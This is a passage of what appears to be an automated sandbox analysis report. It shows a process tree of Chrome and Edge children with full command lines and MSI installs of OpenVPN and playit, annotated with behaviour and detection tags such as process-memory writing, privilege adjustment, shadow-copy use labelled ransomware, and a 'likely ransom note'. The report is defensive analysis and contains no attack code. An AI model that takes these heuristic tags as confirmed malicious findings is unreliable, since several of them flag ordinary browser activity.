PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94
PID 1308 wrote to memory of 3680	1308	chrome.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\test.txt
1⤵
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\test.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:4508

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=5148,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=3736 /prefetch:14
1⤵
PID:3080

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1308
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe71c3cc40,0x7ffe71c3cc4c,0x7ffe71c3cc58
  2⤵
  PID:1476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1740,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=1736 /prefetch:2
  2⤵
  PID:2272
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2100,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=2108 /prefetch:3
  2⤵
  - Mark of the Web detected: This indicates that the page was originally saved or cloned.
  PID:3120
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2196,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=2164 /prefetch:8
  2⤵
  PID:3680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3068,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=3224 /prefetch:1
  2⤵
  PID:1228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3116,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=3256 /prefetch:1
  2⤵
  PID:1108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3060,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4436 /prefetch:1
  2⤵
  PID:3772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4596,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=3544 /prefetch:8
  2⤵
  PID:2328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4608,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4412 /prefetch:8
  2⤵
  PID:1932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4416,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4844 /prefetch:8
  2⤵
  PID:2096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4908,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4920 /prefetch:8
  2⤵
  PID:3392
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4932,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4664 /prefetch:1
  2⤵
  PID:1140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=4308,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=3260 /prefetch:1
  2⤵
  PID:3568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=3432,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=3336 /prefetch:1
  2⤵
  PID:2096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=3444,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=3344 /prefetch:1
  2⤵
  PID:1664
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5408,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5364 /prefetch:8
  2⤵
  - NTFS ADS
  PID:3392
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\OpenVPN-2.6.13-I001-amd64.msi"
  2⤵
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:72
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=5612,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6044 /prefetch:1
  2⤵
  PID:3304
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=6420,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6400 /prefetch:1
  2⤵
  PID:2768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6572,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6284 /prefetch:8
  2⤵
  PID:3396
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6636,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6668 /prefetch:8
  2⤵
  PID:1148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=6408,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5712 /prefetch:1
  2⤵
  PID:1148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=6752,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5564 /prefetch:1
  2⤵
  PID:5536
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=4636,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6112 /prefetch:1
  2⤵
  PID:5796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --field-trial-handle=6768,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5180 /prefetch:1
  2⤵
  PID:5872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --field-trial-handle=6744,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6700 /prefetch:1
  2⤵
  PID:5952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --field-trial-handle=6868,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6732 /prefetch:1
  2⤵
  PID:2580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --field-trial-handle=7016,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6864 /prefetch:1
  2⤵
  PID:5196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --field-trial-handle=6008,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4980 /prefetch:1
  2⤵
  PID:2012
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=6316,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4512 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --field-trial-handle=6348,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4620 /prefetch:1
  2⤵
  PID:1996
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --field-trial-handle=5272,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6336 /prefetch:1
  2⤵
  PID:4612
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3436,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6880 /prefetch:8
  2⤵
  PID:1504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6596,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5016 /prefetch:8
  2⤵
  PID:4996
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --field-trial-handle=6740,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4920 /prefetch:1
  2⤵
  PID:5988
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --field-trial-handle=6360,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4524 /prefetch:1
  2⤵
  PID:5968
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --field-trial-handle=3272,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5708 /prefetch:1
  2⤵
  PID:1480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7128,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5124 /prefetch:8
  2⤵
  - NTFS ADS
  PID:5712
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\playit-windows-x86_64-signed.msi"
  2⤵
  - Enumerates connected drives
  - Suspicious use of FindShellTrayWindow
  PID:2056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6628,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5928 /prefetch:8
  2⤵
  - NTFS ADS
  PID:6056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --field-trial-handle=4528,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5364 /prefetch:1
  2⤵
  PID:5256
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --field-trial-handle=7136,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6844 /prefetch:1
  2⤵
  PID:3356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5176,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5984 /prefetch:8
  2⤵
  PID:4880
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5108,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5096 /prefetch:8
  2⤵
  PID:556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --field-trial-handle=5044,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=7148 /prefetch:1
  2⤵
  PID:5172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --field-trial-handle=4976,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4972 /prefetch:1
  2⤵
  PID:6008
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --no-appcompat-clear --field-trial-handle=6552,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=7172 /prefetch:8
  2⤵
  PID:3180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --field-trial-handle=5616,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6084 /prefetch:1
  2⤵
  PID:2472
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6292,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=1424 /prefetch:8
  2⤵
  - NTFS ADS
  PID:4152
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --field-trial-handle=7476,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=1416 /prefetch:1
  2⤵
  PID:6896
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --field-trial-handle=7556,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=7468 /prefetch:1
  2⤵
  PID:5892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --field-trial-handle=7488,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=7756 /prefetch:1
  2⤵
  PID:6828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --field-trial-handle=7884,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=7904 /prefetch:1
  2⤵
  PID:7132
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --field-trial-handle=8044,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=7548 /prefetch:1
  2⤵
  PID:4124
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --field-trial-handle=5304,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8056 /prefetch:1
  2⤵
  PID:2100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --field-trial-handle=4780,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=7760 /prefetch:1
  2⤵
  PID:2972
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=8440,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8352 /prefetch:8
  2⤵
  PID:3040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=8500,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8504 /prefetch:8
  2⤵
  PID:6452
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=8376,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8656 /prefetch:8
  2⤵
  PID:3752
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=8496,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8652 /prefetch:8
  2⤵
  PID:5412
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --field-trial-handle=7888,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8160 /prefetch:1
  2⤵
  PID:6152
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --field-trial-handle=8372,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8400 /prefetch:1
  2⤵
  PID:992
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=8132,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5392 /prefetch:8
  2⤵
  PID:3580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --field-trial-handle=8396,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8364 /prefetch:1
  2⤵
  PID:6724
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --field-trial-handle=8884,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8864 /prefetch:1
  2⤵
  PID:5692
- C:\Program Files\Google\Chrome\Application\chrome.exe
